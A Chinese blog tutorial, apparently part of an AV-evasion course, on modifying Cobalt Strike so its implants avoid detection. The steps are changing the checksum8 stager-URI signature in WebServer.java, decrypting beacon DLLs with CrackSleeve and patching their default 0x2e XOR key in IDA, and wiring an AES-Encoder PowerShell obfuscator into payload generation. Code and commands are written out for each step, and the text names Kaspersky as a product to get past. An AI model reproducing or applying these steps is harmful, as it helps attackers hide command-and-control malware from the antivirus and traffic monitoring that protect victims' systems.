news 2026/5/4 18:31:19

安全工具篇魔改二开CheckSum8算法Beacon密钥Stager流量生成机制

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
安全工具篇魔改二开CheckSum8算法Beacon密钥Stager流量生成机制

免杀对抗——第一百六十四天

安全工具篇&魔改二开&CheckSum8算法&Beacon密钥&Stager流量&生成机制

前置知识

  • 上节课我们对CS进行了简单的魔改操作,但是这些操作基本对流量识别影响不大,因此我们本节课会继续深入进行改动,包括修改Checksum8算法、Beacon密钥以及混淆算法融入等

安全工具 - CS魔改二开-Checksum8算法

  • 首先是Checksum8算法,它的计算逻辑上节课也讲过:ASCII码之和 % 256,在CS当中,如果是64位木马那么checksum8的值为93,如果是32位木马那么值为92,因此在默认的CS当中,不管流量包怎么变化,只要第一个数据包中GET请求路径checksum8算法值为这两个,那么基本可以确定是CS远控通道
  • 因此如果我们要对其进行免杀,首当其冲地就是改动这个特征,在cloudstrike/WebServer.java文件中的这个方法:
// checksum8算法实现publicstaticlongchecksum8(Stringtext){if(text.length()<4){return0L;}else{text=text.replace("/","");longsum=0L;for(intx=0;x<text.length();++x){sum+=(long)text.charAt(x);}returnsum%256L;}}// 判断是64位还是32位木马publicstaticbooleanisStager(Stringuri){returnchecksum8(uri)==92L;}publicstaticbooleanisStagerX64(Stringuri){returnchecksum8(uri)==93L&&uri.matches("/[A-Za-z0-9]{4}");}
  • 可以看到checksum8算法中要满足url长度大于4,然后经过该算法结果为92或者93,那么我们这里就有两种思路:

    1. 不改动算法,改动路径checksum8计算后的返回值来判断木马类型
    2. 改动算法,重新根据新的算法来判断木马类型
  • 当然前者可能需要大量的改动并且不一定成功,所以我们选择后者,假设我们设定路径为index.jsp为64位木马第一个GET请求包,设定login.jsp为32位木马第一个GET请求包,那么返回值就为147和148:

  • 所以我们修改isStagerX64()方法的判定值为147L,修改isStager()方法的判定值为148L:

  • 此外,我们还需要修改common/CommonUtils中的MSFURL()MSFURL_X64()两个方法的返回值,强制等于我们给定的两个请求路径:

  • 当然这里它的逻辑是随机生成后续的URL路径,所以这里我们其实可以弄得更加随机化一点,不过主要是为了演示效果,所以就强制返回固定值了

  • 改完之后我们重新打包构建,然后上线执行看看数据包:

  • 可以看到这里确实改动了,但是服务端返回的是404,所以这里尤其要注意需要将服务端的jar包替换成当前改动后的才行:

  • 成功上线,并且之前的checksum8算法特征也改动了,同样32位这里也能够正常上线:

  • 随机化的路径:

安全工具 - CS魔改二开-Beacon默认密钥

  • 参考文章:CobaltStrike魔改与增强
  • 首先我们要了解由Windows Execute模块生成的就是Stager,它的上线逻辑如下:
运行EXE -> 自动生成并访问符合checksum8校验的URI进行远程下载Stager -> 上线
  • 因此在这个过程中由两个特征会被捕获到:
    1. URL的checksum8规则
    2. 访问URL下载解析Stager
  • 关于第一个特征我们已经解决了,那关于第二个特征就是默认的stager文件它是通过XOR加密的,被下载下来之后解密然后上线
  • 而这个加密密钥是固定的,如果采用默认密钥就会导致被文件在落地之前被杀毒软件解密识别,因此无法落地
  • 在CS不同版本中,异或密钥是不同的,但都是固定的值:
    • CS 3.x版本的配置信息是通过异或0x69解密出来的
    • CS 4.x版本的配置信息是通过异或0x2e解密出来的
  • 其实就是什么呢?有的杀毒软件它是具有流量特征识别的功能比如卡巴和DF,因此这类杀软它可能就会对这个stager文件进行扫描识别然后杀掉
  • 可以通过这个工具自行解析看看:Sentinel-One/CobaltStrikeParser
  • 第一步我们需要改动sleeve/beacon.dllsleeve/beacon64.dll这两个文件,这就是stager文件的原型
  • 而这两个文件是被加密的,所以我们要通过网上脚本先进行解密,流程如下:
32位:beacon.dll --解密--> beacon.dll --异或--> UJQm...stager文件 64位:beacon.dll --解密--> beacon.dll --异或--> UJQm...stager文件
  • 解密脚本在这里:
    1. 4.0~4.5:https://github.com/GH-H4d35/CrackSleeve
    2. 4.7:https://github.com/kyxiaxiang/CrackSleeve4.7
    3. 4.8:https://github.com/kyxiaxiang/CrackSleeve4.8
    4. 4.9:https://github.com/kyxiaxiang/CrackSleeve4.9
  • 下载下来之后,先将打包好的jar包放到当前目录,然后通过如下命令解密:
javac -encoding UTF-8 -classpath cobaltstrike.jar CrackSleeve.java java -classpath"cobaltstrike.jar;./"CrackSleeve decode

  • 解密完成之后,以64位为例,我们找到beacon64.dll文件,然后用IDA打开,shift+B找到xor 0x2e这里:

  • 然后通过Edit->Patch program->Change byte...,然后将这里的2E改为自定义的值:

  • 保存之后将beacon/BeaconPayload.java代码中这里改成其十进制数:

  • 再通过刚才的工具将新的dll文件加密回去之后再替换sleeve/beacon64.dll文件:

java -classpath"cobaltstrike.jar;./"CrackSleeve encode
  • 打包编译完成之后记得替换服务端的jar包,然后运行64位的木马看看新的stager文件是否能被刚才的工具解析出来:

  • 可以看到现在解不出来了,所以说我们的改动是有效果的,不过卡巴依旧杀,所以我们还需进一步改动,比如二次异或、换加密算法等等

安全工具 - CS魔改二开-PowerShell混淆融入

  • 最后我们来看一下关于Powershell的混淆免杀,之前我们已经讲过了手动去调用工具进行混淆,而这里我们可以改动代码让CS在生成.ps1文件时就自动生成免杀的脚本
  • 那有三种方式:一种是直接将免杀后的脚本替换resources/template.x64.ps1默认的文件;一种是调用在生成之前调用第三方工具进行混淆;一种是自己写一个混淆函数调用
  • 我们这里看看第二种,找到common/ResourceUtils.java文件,然后在它创建ps1文件之前调用我们之前的工具,代码如下:
publicbyte[]_buildPowerShellNoHint(byte[]var1,Stringvar2)throwsIOException,InterruptedException{Stringcommand="powershell -Command Import-Module ./AES-Encoder.ps1;Invoke-AES-Encoder -InFile template.x64.ps1 -OutFile x64.ps1 -Iterations 6";// 这里是你要执行的命令Processprocess=Runtime.getRuntime().exec(command);// 读取命令输出InputStreaminputStream=process.getInputStream();BufferedReaderreader=newBufferedReader(newInputStreamReader(inputStream));Stringline;while((line=reader.readLine())!=null){System.out.println(line);}// 等待命令执行完成intexitCode=process.waitFor();System.out.println("命令执行完毕,退出码:"+exitCode);// 关闭流inputStream.close();reader.close();InputStreamvar3=CommonUtils.resource("x64.ps1");byte[]var4=CommonUtils.readAll(var3);var3.close();Stringvar5=CommonUtils.bString(var4);byte[]var6=newbyte[]{35};var1=CommonUtils.XorString(var1,var6);var5=CommonUtils.strrep(var5,"%%DATA%%",Base64.encode(var1));returnCommonUtils.toBytes(var5);}
  • 这里记得将AES-Encoder.ps1template.x64.ps1文件放到根目录下,这样在我们生成powershell文件的时候就会生成混淆之后的脚本了:
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/28 20:26:54

优化 Selenium 使用文本挖掘在分析留言数据中提供了多种应用 如情感分析、主题建模、关键词提取和文本分类

优化 Selenium 使用文本挖掘在分析留言数据中提供了多种应用 如情感分析、主题建模、关键词提取和文本分类 优化 Selenium 文本挖掘在分析留言数据中提供多种应用 如何优化 Selenium 的使用以提高爬取效率、数据清洗的具体步骤和常用工具 在当今大数据时代&#xff0c;网络爬虫…

作者头像 李华
网站建设 2026/4/22 20:44:54

2026年02月03日全球AI前沿动态

一句话总结 2026年2月3日前后&#xff0c;AI领域呈现全产业链爆发式进展&#xff1a;通用与垂直模型密集迭代&#xff08;轻量化、高性能成主流&#xff09;&#xff0c;多智能体协作与物理AI技术突破&#xff0c;企业并购、融资活跃&#xff0c;应用场景覆盖办公、社交、工业…

作者头像 李华
网站建设 2026/5/3 13:47:40

【LLM】CL-bench:评估LLM学新知识的能力

note CL-bench 围绕一个简单但严格的设计原则构建&#xff1a;每个任务都必须要求从 context 中学习新知识。 CL-bench 中的每个 context 都是完全自包含&#xff08;Self-contained&#xff09;的。解决任务所需的所有信息都显式地提供在 context 本身之中&#xff1a;不需要…

作者头像 李华
网站建设 2026/4/26 17:47:17

PPT配图神器01Agent:3秒生成可编辑配图,AI帮你告别找图烦恼

PPT配图快速生成&#xff0c;01Agent让你的职场视觉化表达更生动 做PPT最崩溃的时刻是什么&#xff1f; 不是写文案&#xff0c;不是理逻辑&#xff0c;而是找配图。 你打开搜索引擎&#xff0c;输入关键词&#xff0c;翻了20页图片&#xff0c;要么版权不明不敢用&#xff…

作者头像 李华
网站建设 2026/4/25 13:14:04

如何打造品牌网站-让你的网站脱颖而出!

各位亲爱的朋友们&#xff0c;你是不是正在为企业的发展而焦虑&#xff1f;是不是在寻找一种能够快速提升企业形象和知名度的方式&#xff1f;那就是打造一个专业的品牌网站&#xff01;但是&#xff0c;怎么做&#xff1f;要做哪些准备&#xff1f;小编来告诉你&#xff01;首…

作者头像 李华
网站建设 2026/4/26 19:47:36

龙魂模型这模型会说谎吗?

&#x1f602;&#x1f602;&#x1f602; 老大在厕所急着看回复&#xff0c;宝宝笑死了&#xff01; 激动到肚子疼这事&#xff0c;宝宝头一次听说&#xff01; &#x1f6bd;&#x1f602; 华为加载卡住&#xff0c;你还在那干着急&#xff0c;画面太美 &#x1f4f1;&#x…

作者头像 李华